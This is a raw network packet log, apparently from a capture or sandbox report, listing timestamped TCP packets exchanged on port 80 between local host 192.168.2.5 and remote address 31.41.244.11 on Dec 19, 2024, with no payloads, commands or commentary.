Dec 19, 2024 03:09:14.772661924 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.773479939 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.773534060 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.773577929 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.773631096 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.774449110 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.774501085 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.774544001 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.774596930 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.775448084 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.775527954 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.775552988 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.775609970 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.776405096 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.776458979 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.776503086 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.776559114 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.777378082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.777440071 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.777493000 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.777546883 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.778362989 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.778417110 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.778454065 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.778510094 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.779356956 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.779412985 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.779480934 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.779541016 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.780323029 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.780375957 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.780430079 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.780483961 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.781347990 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.781399965 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.781478882 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.781531096 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.782331944 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.782386065 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.782474041 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.782531023 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.783340931 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.783402920 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.783488035 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.783549070 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.784245968 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.784307003 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.784351110 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.784410954 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.785259008 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.785319090 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.785361052 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.785419941 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.786216974 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.786298990 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.786329031 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.786396027 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.787241936 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.787311077 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.787348032 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.787408113 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.788187027 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.788254976 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.788296938 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.788356066 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.789153099 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.789218903 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.789303064 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.789360046 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.790133953 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.790205002 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.790246964 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.790307045 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.791105986 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.791224957 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.791258097 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.791295052 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.792076111 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.792131901 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.792170048 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.792222977 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.793062925 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.793114901 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.793179035 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.793231010 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.794034004 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.794086933 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.794151068 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.794204950 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.795048952 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.795101881 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.795156002 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.795209885 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.796019077 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.796072960 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.796125889 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.796180010 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.796981096 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.797055006 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.797096968 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.797149897 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.797981024 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.798032999 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.798069000 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.798127890 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.798934937 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.798998117 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.799052000 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.799105883 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.799947977 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.800003052 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.800048113 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.800101042 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.800885916 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.800946951 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.801001072 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.801059008 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.801920891 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.801986933 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.802022934 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.802082062 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.802892923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.802958965 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.803000927 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.803056955 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.803853035 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.803906918 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.803966045 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.804023981 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.804831982 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.804896116 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.804934025 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.804986954 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.805795908 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.805855989 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.805895090 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.805953026 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.806799889 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.806866884 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.806893110 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.806952000 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.807734966 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.807787895 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.807832003 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.807883978 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.808722019 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.808779001 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.808823109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.808872938 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.809645891 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.809695005 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.950681925 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.950849056 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.950877905 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.950911045 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.951154947 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.951180935 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.951209068 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.951236010 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.951843023 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.951899052 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.951973915 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.952028036 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.952830076 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.952883959 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.952919960 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.952974081 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.953923941 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.953979015 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.954067945 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.954123020 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.954761982 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.954816103 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.954850912 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.954904079 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.955815077 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.955869913 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.955897093 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.955950975 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.956739902 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.956794977 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.956828117 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.956880093 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.957700014 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.957755089 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.957791090 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.957843065 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.958659887 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.958714008 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.958808899 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.958861113 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.959650993 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.959707022 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.959790945 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.959846020 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.960680008 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.960732937 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.960792065 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.960845947 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.961630106 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.961685896 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.961720943 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.961774111 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.962588072 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.962641001 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.962701082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.962750912 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.963587999 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.963641882 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.963679075 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.963732004 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.964540958 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.964595079 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.964653015 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.964709044 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.965526104 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.965583086 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.965632915 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.965691090 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.966500044 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.966553926 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.966600895 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.966654062 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.967484951 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.967542887 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.967586994 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.967647076 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.968452930 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.968506098 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.968574047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.968650103 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.969433069 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.969486952 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.969547987 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.969604969 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.970419884 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.970477104 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.970527887 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.970585108 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.971390963 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.971450090 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.971522093 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.971580982 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.972364902 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.972421885 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.972485065 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.972542048 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.973361015 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.973417997 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.973484993 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.973541021 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.974343061 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.974397898 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.974442005 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.974498034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.975327969 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.975384951 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.975481033 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.975538969 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.976298094 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.976352930 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.976480961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.976537943 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.977279902 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.977339983 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.977428913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.977485895 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.978271008 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.978326082 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.978368044 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.978425026 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.979259014 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.979321957 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.979422092 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.979480982 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.980216980 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.980273008 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.980353117 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.980407000 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.981204033 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.981261015 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.981337070 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.981393099 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.982177973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.982239008 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.982289076 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.982340097 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.983169079 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.983227968 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.983289003 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.983344078 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.984116077 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.984169960 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.984236956 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.984289885 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.985115051 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.985167980 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.985265017 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.985316992 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.986114025 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.986171007 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.986212969 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.986267090 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.987092972 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.987145901 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.987181902 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.987236023 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.988051891 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.988104105 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.988147020 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.988202095 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.989037991 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.989094019 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.989259958 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.989312887 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.990015984 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.990068913 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.990113020 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.990164995 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.990998983 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.991048098 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.991075039 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.991127014 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.991978884 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.992033005 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.992103100 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.992162943 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.992954016 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.993006945 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.993077993 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.993129015 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.993921995 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.993979931 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.994023085 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.994075060 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.994900942 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.994963884 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.995032072 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.995089054 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.995872974 CET	80	49835	31.41.244.11	192.168.2.5
